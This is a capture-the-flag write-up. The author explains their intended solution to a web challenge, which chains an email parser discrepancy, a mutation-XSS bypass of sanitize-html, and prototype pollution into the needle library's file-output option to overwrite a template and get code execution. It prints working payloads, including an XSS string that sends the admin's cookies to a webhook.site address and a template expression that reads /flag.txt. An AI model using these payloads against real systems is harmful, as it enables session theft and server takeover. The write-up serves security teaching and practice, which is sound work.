Intergalactic Bounty (WEB)
This is the intended solution for my Intergalactic Bounty challenge. The exploit chain combines a Nodemailer parser discrepancy, a Mutation XSS (MXSS) sanitizer bypass, and a prototype-pollution-assisted file overwrite to reach Remote Code Execution (RCE).
Solution
The exploit has four stages.
1. Initial Access
Visiting the home page presents the login interface:

Additionally, an email client is available for registration:

Attempting to register with the provided email results in the following error:

2. Nodemailer Parser Discrepancy
Examining the package.json, the application uses the latest versions for all packages, indicating no known CVEs. Our first objective is to create an account.
The registration route is implemented as follows:
const registerAPI = async (req, res) => {
const { email, password, role = "guest" } = req.body;
const emailDomain = emailAddresses.parseOneAddress(email)?.domain;
if (!emailDomain || emailDomain !== 'interstellar.htb') {
return res.status(200).json({ message: 'Registration is not allowed for this email domain' });
}
try {
await User.createUser(email, password, role);
return res.json({ message: "User registered. Verification email sent.", status: 201 });
} catch (err) {
return res.status(500).json({ message: err.message, status: 500 });
}
};
The email domain must be interstellar.htb, and it uses the email-addresses library to parse the email according to RFC 5322.
Parsing the following string shows which domain the library extracts: "\"test\\@example.com> ORCPT=test;admin\"@super.com"
const emailAddresses = require('email-addresses');
let mail = "\"test\\@email.htb x\"@interstellar.htb"
const parsedEmail = emailAddresses.parseOneAddress(mail);
if (parsedEmail) {
console.log(parsedEmail);
} else {
console.log('Invalid email address');
}
Running this script yields the following output:
{
parts: {
name: null,
address: {
name: 'addr-spec',
tokens: '"test\\@email.htb x"@super.com',
semantic: 'test@email.htb x@super.com',
children: [Array]
},
local: {
name: 'local-part',
tokens: '"test\\@email.htb x"',
semantic: 'test@email.htb x',
children: [Array]
},
domain: {
name: 'domain',
tokens: 'super.com',
semantic: 'super.com',
children: [Array]
},
comments: []
},
type: 'mailbox',
name: null,
address: 'test@email.htb x@super.com',
local: 'test@email.htb x',
domain: 'super.com',
comments: '',
groupName: null
}
The extracted domain is super.com. I then used the same parser discrepancy during registration and checked whether the verification email arrived:
I registered with "test\@email.htb x"@interstellar.htb. The parser discrepancy behind this payload is covered in my Nodemailer post.

With the verification code, we can now log in:

3. Mutation XSS (MXSS)
After registration, the next step is to create and report a bounty. The report creation path uses this code:
const addBountiesAPI = async (req, res) => {
const { status = "unapproved", ...bountyData } = req.body;
const sanitizedBountyData = sanitizeHTMLContent(bountyData);
try {
const newBounty = await BountyModel.create({
...sanitizedBountyData,
status,
});
return res.status(200).json({ message: "OK", data: newBounty });
} catch (err) {
return res
.status(500)
.json({ message: "Error adding bounty", error: err.message });
}
};
const sanitizeHTMLContent = (data) => {
return Object.entries(data).reduce((acc, [key, value]) => {
acc[key] = sanitizeHtml(value, {
allowedTags: sanitizeHtml.defaults.allowedTags.concat([
"math",
"style",
"svg",
]),
allowVulnerableTags: true,
});
return acc;
}, {});
};
The application uses the sanitize-html library to sanitize the input, allowing style, math, and svg elements along with the default HTML elements. It also permits vulnerable tags by setting allowVulnerableTags to true, making it susceptible to MXSS.
By using a payload like the following, we can achieve XSS:
<math><style><img src=x onerror="fetch('https://webhook.site/757ea325-e795-4446-87a6-72576ee56cd2?x=' + document.cookie)">
This payload allows us to steal the admin’s cookies.
By adding a bounty with the above payload in the description and reporting our bounty, the admin bot processes it:

We successfully obtained the admin cookie.
Logging in as admin grants access to two new features:


The first feature allows editing bounties, and the second feature permits sending GET requests to any URL.
4. Prototype Pollution File Overwrite
The edit functionality operates as follows:
const editBountiesAPI = async (req, res) => {
const { ...bountyData } = req.body;
try {
const data = await BountyModel.findByPk(req.params.id, {
attributes: [
"target_name",
"target_aliases",
"target_species",
"last_known_location",
"galaxy",
"star_system",
"planet",
"coordinates",
"reward_credits",
"reward_items",
"issuer_name",
"issuer_faction",
"risk_level",
"required_equipment",
"posted_at",
"status",
"image",
"description",
"crimes",
"id",
],
});
if (!data) {
return res.status(404).json({ message: "Bounty not found" });
}
const updated = mergedeep(data.toJSON(), bountyData);
await data.update(updated);
return res.json(updated);
} catch (err) {
console.log(err);
return res.status(500).json({ message: "Error fetching data" });
}
};
This function retrieves a bounty by its primary key, performs a deep merge with the provided bountyData, and updates the database. However, it is vulnerable to prototype pollution, allowing an attacker to overwrite properties of the prototype object.
To exploit this, we need a gadget that allows significant impact. Examining the libraries used by this application:
const needle = require("needle");
The needle library has an option to write the output of a request to a file:
output: Dump response output to file. This occurs after parsing and charset decoding is done.
By setting this option to a file and making a web request, we can overwrite files. This allows us to overwrite a Node.js template and achieve RCE through it. Additionally, there’s an unhandled error that can be exploited to crash the application, causing Supervisord to restart it with the updated malicious template. That way we can achieve RCE.
const fetchURL = async (url) => {
if (!url.startsWith("http://") && !url.startsWith("https://")) {
throw new Error("Invalid URL: URL must start with http or https");
}
const options = {
compressed: true,
follow_max: 0,
};
return new Promise((resolve, reject) => {
needle.get(url, options, (err, resp, body) => {
if (err) {
return reject(new Error("Error fetching the URL: " + err.message));
}
resolve(body);
});
});
};
After polluting and overwriting the template we can pass file:///test to restart the application, and utilise the following template payload to read content of flag
{{ range.constructor("return global.process.mainModule.require('fs').readFileSync('/flag.txt', 'utf8')")() }}
This concludes the challenge!